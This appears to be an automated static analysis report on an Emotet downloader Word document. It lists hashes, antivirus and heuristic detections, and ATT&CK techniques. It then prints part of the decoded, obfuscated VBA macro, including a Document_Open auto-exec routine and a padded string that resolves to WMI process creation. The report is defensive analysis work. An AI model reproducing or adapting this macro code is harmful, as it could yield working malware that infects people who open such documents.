Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1ecaceaeb20649c8…

MALICIOUS

Office (OLE)

187.3 KB Created: 2020-09-16 18:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 4f7fa45ec7bedb9475ce8f052e62ae97 SHA-1: deeaabae432a7e3bba1bebe32a7e58034d236d2f SHA-256: 1ecaceaeb20649c823b3a63accf639925ba8e4c350b2509496c04dbd622d5d4e
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-9762284-0', indicating it's a downloader for the Emotet family. High-severity heuristics confirm the presence of VBA macros, specifically a Document_Open macro that uses CreateObject, a common technique for executing malicious code. The VBA script, though obfuscated, likely attempts to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9762284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9762284-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19132 bytes
SHA-256: c8eacd47a01532c076db7a43a0d927f95cb78ca92fb9fc841101993b58287d9b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hkuh37ff65vihiqh1z"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Pwvbmsznepk6 = Array(Iammmppvp5y5o1ru + "T6daquiwsymb_bZkp6rtahlyf38i93h5 Rp3x8qd162ctq4z6" + Hwc81y3mk3l, O7ehkmuhytpn4, V498mqcl653i20qsx6.Ycbfdzqm8odffce84, Mie1_io5rw24 + "T_kwy4nk60lfqexq3g Cugthv4c02osrro4 J82vp7wk4uue J1pb1pvrcb71ouqq6")
End Sub


Attribute VB_Name = "V498mqcl653i20qsx6"
Attribute VB_Base = "0{B47E803E-2AAD-4688-88B5-F0ADC09813B7}{DF7C6934-9AF5-4B58-A831-6A5FF5CA9AC4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ycbfdzqm8odffce84()
On Error Resume Next
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Va0ll0y95y4np0jqv = 90
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Yb1w542hz0o = Ikmof_53bhlvt41 + Chr$(Va0ll0y95y4np0jqv + (25))
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
R7qrwbdqual = "PIZDECPIZDECwPIZDECiPIZDECnmPIZDECPIZDECgmPIZDECtPIZDECPIZDEC" + Yb1w542hz0o + "PIZDECPIZDEC:PIZDECwPIZDECinPIZDECPIZDEC3PIZDEC2PIZDEC_PIZDEC" + V498mqcl653i20qsx6.Punye00muikn6j + "PIZDECroPIZDECPIZDECcePIZDECsPIZDECsPIZDEC"
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2E
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.